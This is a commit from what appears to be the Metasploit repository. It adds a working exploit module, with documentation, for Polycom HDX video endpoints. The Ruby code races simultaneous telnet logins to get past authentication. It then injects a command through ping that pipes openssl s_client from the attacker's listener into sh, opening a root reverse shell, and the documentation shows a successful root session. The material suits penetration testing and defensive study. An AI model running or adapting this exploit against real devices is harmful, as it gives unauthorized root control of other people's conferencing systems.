Land #6960, Auth bypass for Polycom HDX video endpoints
commit
abf435d6c2
|
@ -0,0 +1,36 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits the Polycom HDX video endpoints with software <= 3.0.5.
|
||||||
|
It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port
|
||||||
|
23 should be accessible, as it is with the factory default configuration.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
A successful check of the exploit will look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass
|
||||||
|
msf exploit(psh_auth_bypass) > run
|
||||||
|
|
||||||
|
[*] Started reverse double SSL handler on 192.168.1.120:4444
|
||||||
|
[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections
|
||||||
|
[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw
|
||||||
|
[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186...
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo xInxktvgUmm7hPyh;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] Reading from socket B
|
||||||
|
[*] B: "xInxktvgUmm7hPyh\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] A is input...
|
||||||
|
[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500
|
||||||
|
[*] 192.168.1.155:23 - Shutting down payload stager listener...
|
||||||
|
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
uname -a
|
||||||
|
Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown
|
||||||
|
```
|
|
@ -0,0 +1,248 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Polycom Command Shell Authorization Bypass',
|
||||||
|
'Alias' => 'psh_auth_bypass',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
|
||||||
|
'h00die <mike@shorebreaksecurity.com>', # submission/cleanup
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 18 2013',
|
||||||
|
'Description' => %q(
|
||||||
|
The login component of the Polycom Command Shell on Polycom HDX
|
||||||
|
video endpints, running software versions 3.0.5 and earlier,
|
||||||
|
is vulnerable to an authorization bypass when simultaneous
|
||||||
|
connections are made to the service, allowing remote network
|
||||||
|
attackers to gain access to a sandboxed telnet prompt without
|
||||||
|
authentication. Versions prior to 3.0.4 contain OS command
|
||||||
|
injection in the ping command which can be used to execute
|
||||||
|
arbitrary commands as root.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
|
||||||
|
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
|
||||||
|
[ 'EDB', '24494']
|
||||||
|
],
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' => [ [ "Universal", {} ] ],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 8000,
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' => { 'PayloadType' => 'cmd' }
|
||||||
|
},
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RHOST(),
|
||||||
|
Opt::RPORT(23),
|
||||||
|
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
|
||||||
|
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
|
||||||
|
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
connect
|
||||||
|
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
|
||||||
|
Rex.sleep(1)
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if !res && !res.empty?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
if res =~ /Welcome to ViewStation/
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Keep track of results (successful connections)
|
||||||
|
results = []
|
||||||
|
|
||||||
|
# Random string for password
|
||||||
|
password = Rex::Text.rand_text_alpha(rand(5) + 1)
|
||||||
|
|
||||||
|
# Threaded login checker
|
||||||
|
max_threads = datastore['THREADS']
|
||||||
|
cur_threads = []
|
||||||
|
|
||||||
|
# Try up to 100 times just to be sure
|
||||||
|
queue = [*(1..datastore['MAX_CONNECTIONS'])]
|
||||||
|
|
||||||
|
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
|
||||||
|
until queue.empty?
|
||||||
|
while cur_threads.length < max_threads
|
||||||
|
|
||||||
|
# We can stop if we get a valid login
|
||||||
|
break unless results.empty?
|
||||||
|
|
||||||
|
# keep track of how many attempts we've made
|
||||||
|
item = queue.shift
|
||||||
|
|
||||||
|
# We can stop if we reach max tries
|
||||||
|
break unless item
|
||||||
|
|
||||||
|
t = Thread.new(item) do |count|
|
||||||
|
sock = connect
|
||||||
|
sock.put(password + "\n")
|
||||||
|
res = sock.get_once
|
||||||
|
|
||||||
|
until res.empty?
|
||||||
|
break unless results.empty?
|
||||||
|
|
||||||
|
# Post-login Polycom banner means success
|
||||||
|
if res =~ /Polycom/
|
||||||
|
results << sock
|
||||||
|
break
|
||||||
|
# bind error indicates bypass is working
|
||||||
|
elsif res =~ /bind/
|
||||||
|
sock.put(password + "\n")
|
||||||
|
# Login error means we need to disconnect
|
||||||
|
elsif res =~ /failed/
|
||||||
|
break
|
||||||
|
# To many connections means we need to disconnect
|
||||||
|
elsif res =~ /Error/
|
||||||
|
break
|
||||||
|
end
|
||||||
|
res = sock.get_once
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
cur_threads << t
|
||||||
|
end
|
||||||
|
|
||||||
|
# We can stop if we get a valid login
|
||||||
|
break unless results.empty?
|
||||||
|
|
||||||
|
# Add to a list of dead threads if we're finished
|
||||||
|
cur_threads.each_index do |ti|
|
||||||
|
t = cur_threads[ti]
|
||||||
|
unless t.alive?
|
||||||
|
cur_threads[ti] = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Remove any dead threads from the set
|
||||||
|
cur_threads.delete(nil)
|
||||||
|
|
||||||
|
Rex.sleep(0.25)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Clean up any remaining threads
|
||||||
|
cur_threads.each { |sock| sock.kill }
|
||||||
|
|
||||||
|
if !results.empty?
|
||||||
|
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
|
||||||
|
do_payload(results[0])
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_payload(sock)
|
||||||
|
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
|
||||||
|
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
||||||
|
|
||||||
|
# Start a listener
|
||||||
|
start_listener(true)
|
||||||
|
|
||||||
|
# Figure out the port we picked
|
||||||
|
cbport = self.service.getsockname[2]
|
||||||
|
|
||||||
|
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
|
||||||
|
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
|
||||||
|
sock.put(cmd)
|
||||||
|
|
||||||
|
# Give time for our command to be queued and executed
|
||||||
|
1.upto(5) do
|
||||||
|
Rex.sleep(1)
|
||||||
|
break if session_created?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_final_payload(cli)
|
||||||
|
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
cli.put(payload.encoded + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
def start_listener(ssl = false)
|
||||||
|
comm = datastore['ListenerComm']
|
||||||
|
if comm == 'local'
|
||||||
|
comm = ::Rex::Socket::Comm::Local
|
||||||
|
else
|
||||||
|
comm = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
self.service = Rex::Socket::TcpServer.create(
|
||||||
|
'LocalPort' => datastore['CBPORT'],
|
||||||
|
'SSL' => ssl,
|
||||||
|
'SSLCert' => datastore['SSLCert'],
|
||||||
|
'Comm' => comm,
|
||||||
|
'Context' =>
|
||||||
|
{
|
||||||
|
'Msf' => framework,
|
||||||
|
'MsfExploit' => self
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
self.service.on_client_connect_proc = proc { |client|
|
||||||
|
stage_final_payload(client)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Start the listening service
|
||||||
|
self.service.start
|
||||||
|
end
|
||||||
|
|
||||||
|
# Shut down any running services
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
if self.service
|
||||||
|
print_status("Shutting down payload stager listener...")
|
||||||
|
begin
|
||||||
|
self.service.deref if self.service.is_a?(Rex::Service)
|
||||||
|
if self.service.is_a?(Rex::Socket)
|
||||||
|
self.service.close
|
||||||
|
self.service.stop
|
||||||
|
end
|
||||||
|
self.service = nil
|
||||||
|
rescue ::Exception
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Accessor for our TCP payload stager
|
||||||
|
attr_accessor :service
|
||||||
|
end
|
Loading…
Reference in New Issue